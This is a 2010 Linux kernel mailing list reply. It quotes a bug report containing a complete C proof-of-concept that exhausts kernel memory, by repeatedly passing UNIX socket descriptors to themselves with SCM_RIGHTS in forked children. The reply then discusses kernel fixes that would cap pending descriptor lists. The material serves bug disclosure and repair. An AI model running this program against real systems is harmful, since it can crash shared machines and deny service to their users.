Messages in this thread | | | Subject | Re: Unix socket local DOS (OOM) | From | Eric Dumazet <> | Date | Wed, 24 Nov 2010 00:11:58 +0100 |
| |
Le mardi 23 novembre 2010 à 23:21 +0100, Vegard Nossum a écrit : > Hi, > > I found this program lying around on my laptop. It kills my box > (2.6.35) instantly by consuming a lot of memory (allocated by the > kernel, so the process doesn't get killed by the OOM killer). As far > as I can tell, the memory isn't being freed when the program exits > either. Maybe it will eventually get cleaned up the UNIX socket > garbage collector thing, but in that case it doesn't get called > quickly enough to save my machine at least. > > #include <sys/mount.h> > #include <sys/socket.h> > #include <sys/un.h> > #include <sys/wait.h> > > #include <errno.h> > #include <fcntl.h> > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <unistd.h> > > static int send_fd(int unix_fd, int fd) > { > struct msghdr msgh; > struct cmsghdr *cmsg; > char buf[CMSG_SPACE(sizeof(fd))]; > > memset(&msgh, 0, sizeof(msgh)); > > memset(buf, 0, sizeof(buf)); > msgh.msg_control = buf; > msgh.msg_controllen = sizeof(buf); > > cmsg = CMSG_FIRSTHDR(&msgh); > cmsg->cmsg_len = CMSG_LEN(sizeof(fd)); > cmsg->cmsg_level = SOL_SOCKET; > cmsg->cmsg_type = SCM_RIGHTS; > > msgh.msg_controllen = cmsg->cmsg_len; > > memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd)); > return sendmsg(unix_fd, &msgh, 0); > } > > int main(int argc, char *argv[]) > { > while (1) { > pid_t child; > > child = fork(); > if (child == -1) > exit(EXIT_FAILURE); > > if (child == 0) { > int fd[2]; > int i; > > if (socketpair(PF_UNIX, SOCK_SEQPACKET, 0, fd) == -1) > goto out_error; > > for (i = 0; i < 100; ++i) { > if (send_fd(fd[0], fd[0]) == -1) > goto out_error; > > if (send_fd(fd[1], fd[1]) == -1) > goto out_error; > } > > close(fd[0]); > close(fd[1]); > goto out; > > out_error: > fprintf(stderr, "error: %s\n", strerror(errno)); > out: > exit(EXIT_SUCCESS); > } > > while (1) { > pid_t kid; > int status; > > kid = wait(&status); > if (kid == -1) { > if (errno == ECHILD) > break; > if (errno == EINTR) > continue; > > exit(EXIT_FAILURE); > } > > if (WIFEXITED(status)) { > if (WEXITSTATUS(status)) > exit(WEXITSTATUS(status)); > break; > } > } > } > > return EXIT_SUCCESS; > } > > > Vegard > --
Hi Vegard
Do you have a patch to correct this problem ?
I suppose we should add a machine wide limit of pending struct scm_fp_list. (percpu_counter I guess)
David, commit f8d570a4 added one "struct list_head list;" to struct scm_fp_list, enlarging it by a two factor because of power of two kmalloc() sizes. (2048 bytes on 64bit arches instead of 1024 previously)
We might lower SCM_MAX_FD from 255 to 253 ?
-- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
| |